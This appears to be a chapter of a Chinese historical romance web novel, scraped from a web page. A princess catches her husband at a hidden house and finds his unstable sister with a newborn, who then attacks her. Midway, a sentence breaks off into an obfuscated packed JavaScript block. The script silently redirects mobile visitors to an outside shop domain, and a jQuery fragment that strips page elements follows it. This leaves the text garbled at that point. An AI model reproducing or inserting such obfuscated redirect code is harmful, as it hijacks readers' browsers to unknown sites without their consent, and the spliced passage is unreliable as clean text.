这是激将法,是虚张声势。
他刚才一副愁眉苦脸的模样,这会倒是装上释然坦诚,也担心与他同窗多年的陆清如对他失望吧。
可都走到这一步,裴炜萤没有被他的阵仗吓到。
反而是陆清如脚像被钉住,温柔的眉眼不可置信地拧着,“公主她千金之躯,为了和你孕育子女煞费苦心。你既不在衙署,又不在府中陪伴她,青天白日跑到这里干什么?”
没料到她会将此事摆在台面上,裴炜萤舌头都不知道往哪里放,立即想象出他会露出怎样耐人寻味的笑,瞬间被落下脸面,抬脚往屋里冲。
手腕被一股强劲的力道圈住。
她轻叹着闭上眼睛,转身掰开他紧扣在腕上的手指,“别碰我。”
冷淡绝望,听得陆清如心头钳紧。
更叫她胆战心惊的是,裴炜萤红了眼眶,鼻尖轻轻抽动,泫然欲泣仿佛一碰就碎的瓷娃娃,可下一瞬脆弱易碎一闪而空,只见她转手高高扬起手,利落地扇在徐从绎的脸上。
巴掌声震耳欲聋。
陆清如嘴巴微微张着,慌乱的目光无处着落,双方脸上的煞气逼得她想捂住心口,生怕激烈的心跳声打扰他们对峙。
妈呀,看公主的架势不是头一次打他,可徐从绎只是指尖略蹭了下脸庞,眉毛纹丝不动,一双眼睛波澜不惊深深看着公主,俨然不意外挨的这一巴掌。
像是被打习惯了。
这哪里是夫妻,简直是仇人。
“殿下怪心急的,改日臣带殿下去寺里求观音,保证完成殿下心愿。”徐从绎嘴角牵起笑意,未达眼底。
裴炜萤冷冷觑他一眼,“多谢好意。只是今日过后,你我夫妻恩断义绝,我要不要生,要和谁生,都不劳徐节使费心。”
陆清如心底里还是不敢相信徐从绎会偷养外室,拉过裴炜萤的手细声劝道:“公主,我们还是先进去看看,兴许其中有误会。”
“而且这事说什么也不至于闹到和离,大不了……”
大不了什么,便是寻常千金也无法忍受这份屈辱,裴炜萤可是帝后宠爱非凡的小女儿,亏是她好面子,否则今日便领着府兵浩浩荡荡上门捉奸了!
她无话可说,简直里外不是人。
“嫂嫂,今日你既然撞上他的丑事,我便请你做个见证。”
裴炜萤掏出白纸黑字的契约,递到陆清如眼前,“若是我抓到他不忠的把柄,立即和离,绝无转圜余地。”
“这……真是荒唐!”
“天子赐婚,岂是你们说离就离的,这不是打陛下的脸嘛!”
陆清如为难,新婚不过三个月便和离,闹到京城去政事堂那群大臣弹劾的折子雪花似的呈上去,一定要给徐从绎定下不敬朝廷,不尊陛下的罪名。
虽然也没什么实质性的惩罚,可其他藩镇尽可以借此发挥,挑动战事。
裴炜萤佯装悲愤,指尖按了按眼角,惹出两行清泪,“嫂嫂放心,在父皇面前,我会给他美言几句,体面了结这桩孽缘。”
焦急的心反复煎熬,陆清如一面安慰她,一面匪夷所思,瞪向徐从绎。
可他神色逍遥,全然一副置身事外的悠闲,“那我也要请嫂嫂见证,若是殿下今日污蔑我,就要……”
“你闭嘴!”
陆清如一头雾水,“就要什么?”
裴炜萤冷厉地打断,身上那股梨花带雨柔弱无助无影无踪,徐从绎也不想彻底惹恼她,语气轻淡道:“殿下不让我说,那就恭祝殿下心想事成。”
说着甩了下宽大的衣袖,背在身后。
又是一抹鲜艳的红痕,她绝没看错,不再废话,搭理他的垂死挣扎。
她兴奋地快要晕过去,“嫂嫂,随我一同进去,倒要看他还想怎样欺负我。”
门外天光大亮,可屋内见不得一丝光,凝滞着死气沉沉的气息,一呼一吸都格外清晰。
尽管脚步轻巧,可踩在木板上依然发出闷闷的响声。
已经是春末时节,可炭盆未熄,烘得屋里暖意融融。裴炜萤进来一会的功夫,额头很快浮起一层薄汗,胸口闷得透不过气。
可在热气和暖香中,她嗅到血腥味。
床帐严密罩下,像是野兽鼓起的肚皮,隔绝出两个世界。
她丢下陆清如脚步飞快走过去,血腥浓重,绕在鼻尖,她按在帐上的手在最后竟有些迟疑。
可也仅仅是一瞬,她撩开帐子挂上金钩,榻间猝然响起响亮的婴儿啼哭。
其声嘹亮不知疲倦,令她有些措手不及,愣在原地。
安卧榻上的人惊声尖叫着起身,柔软的身体像是提线木偶,被一根看不见的线提直脊背,四肢在空中胡乱抓挠。
乌发散落在她的脸侧,她睁着一双惊恐的眼睛,死死将软布包裹成一团的孩子抱在胸前,缩至床榻的角落瑟瑟抖动。
清瘦到一折就断的手腕缠满纱布,看不见原本的肌肤。
“别碰我,别抢我的孩子……”
裴炜萤赌赢了,可内心滋长的并非是得偿所愿的喜悦,非要说清那股莫名涌起的酸涩,或许是怜悯。
这个女人明显神志不清,她是如何变成现在的模样?
因为徐从绎迟迟不娶她?她受尽世俗冷眼,辛苦怀胎生下的孩子,他罔顾她的意愿执意抢走?
“你……”
她迟疑地伸出手,又不知道该说什么,某种程度上她为了一己私利嫁给徐从绎,间接造成这个女人如今的遭遇。
直到陆清如听清她的声音,看到她随身体抖动,露出乌发下一双美艳至极的桃花眼。
“令仪!”
女人听到自己的名字,浑身一滞,抬起苍白清瘦的脸,看见陆清如的一瞬间眼泪夺眶而出,沾湿覆在脸上的发丝,无尽凄凉。
她干裂流血的嘴唇颤抖,“嫂嫂,我……我没有杀人……”
“我真的没有,可是我一醒来,手上都是血,怎么洗都洗不掉……”
徐令仪一手抱着婴儿,另一手撑着身体向陆清如挪过来,扑进她怀中自己哭得像个受尽天大委屈的孩子,一味哭诉着,祈求有人能抱一抱她,抚摸她的头发相信她的话。
陆清如仍在震撼中,与裴炜萤茫然对视,面对这一连串的变故,她也束手无策。
只好揽着徐令仪枯瘦的身子,柔声安慰道:“令仪是天底下最善良的女子,人绝不是你杀的,你是当母亲的人,怎么可能舍得杀人。嫂嫂相信你。”
“这是你的孩子?长得很像你,瞧,他睁大眼睛在看他娘亲哭呢。”
徐令仪倚在她怀中,手指颤颤巍巍摸在孩子的脸上,听到孩子在看她,哭声渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971722|136644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
渐停息。
姑嫂二人细声细语絮絮说着话,看着徐令仪恢复窈窕的腰身,粉团似的婴儿,裴炜萤努力寻回神思。
“公主,你看看这孩子,这双眼睛长得多像令仪。”陆清如暂且放下震撼,指腹轻柔地蹭了蹭孩子脸颊的肌肤,逗笑了他。
“公主?”徐令仪拨开额前发丝,一双清凌凌的眼睛悄悄看一眼裴炜萤,眸中的光顿时散去。
陆清如替她撩开垂在眼上的头发,轻柔道:“你二哥的妻子,你的二嫂,大齐的长陵公主,你又不是没见过。”
小家伙哭够后吃着手指,好奇地打量陌生人,眼睛长而不窄,和徐令仪一个模子刻出来的。
可是太过瘦小,让她想起在净光寺养过的狸奴,小小一团没骨头似的,让人怀疑稍微用力都能伤到它。
裴炜萤头脑嗡鸣,若是没算错,两个月后,这个孩子才应该诞生。
这短短的三个月,徐令仪身上究竟发生了什么?
那个眼神沉静坚定的女子,为何变成这副模样?
“呀——”
一声崩溃发狂的尖叫,裴炜萤应声抬头,已经迟了一步,头发被撕扯散乱,几缕发丝散落遮住视线。
模糊中她看见徐令仪嘴角扯着狰狞的笑,意识到危险,她忙起身躲避,可是一切发生得太快,徐令仪握着她束发的金簪,迅猛如猎豹扑过来,尖锐的指甲掐着她的手臂。
她避之不及,身子用力后倾,金属冰冷的触感掠过脖颈。
稍有偏差,刺入血脉。
金簪仍在迫近,她肩膀紧绷,咬牙切齿推开近乎疯狂的女人,可是徐令仪攥住她的手臂,手指利如剑刃,嵌入血肉,用力到她的骨头几乎要碎掉。
眼前这个瘦削的女人,像是受到刺激,爆发出惊人的力气。
她赤脚步步紧逼,睁着布满血丝的眼睛,犹如厉鬼。
陆清如从背后抓紧她的腰,半哄半抢夺走金簪,裴炜萤挣不开她,不曾受过这般疼痛,像是利刃戳入血肉,翻搅得她痛不欲生,紧紧咬住下唇克制眼眶中汹涌而上的泪。
丢失武器后,徐令仪伸长脖子露出白森森的牙齿,抓着她的手腕往嘴里送,俨然是张开血盆大口的野兽。
裴炜萤咬得嘴唇发紫,被她凶残的模样吓得愣在原地。
“你看清楚,她不是裴舒月!”
声音字字凛然。
却见一只手捏住徐令仪的下颌,手背青筋奋力鼓起。
听到这个名字,徐令仪厉声尖叫,喉中充斥着呜咽谩骂,忽然颈后被徐从绎重重一按,挣扎舞动的四肢软了下来,被徐从绎重新送回榻上。
陆清如跟上去照看那个孩子。
剩下她一个被视作仇敌的外人,裴炜萤走出房门,长长舒了一口气,从刚才的惊愕中缓过神。
“徐令仪她……怎么回事?”
四周寂静,只有她的声音飘荡在空中,一颗心纷乱如麻,无从理清刚才的所见所闻。
倏然,廊下投入一道挺拔威仪的身影,冷不丁吓到她。
她抬眼一看,徐从绎站在烈日照射下,整张脸辉煌耀眼,阳光在他周身罩了一层温柔暖意,可内里冰冷得麻木,一双眼睛底色永远是沉冷漠然的。
她猜不透他,可越猜不透,他就越诱惑着她直勾勾盯他,设法探寻他。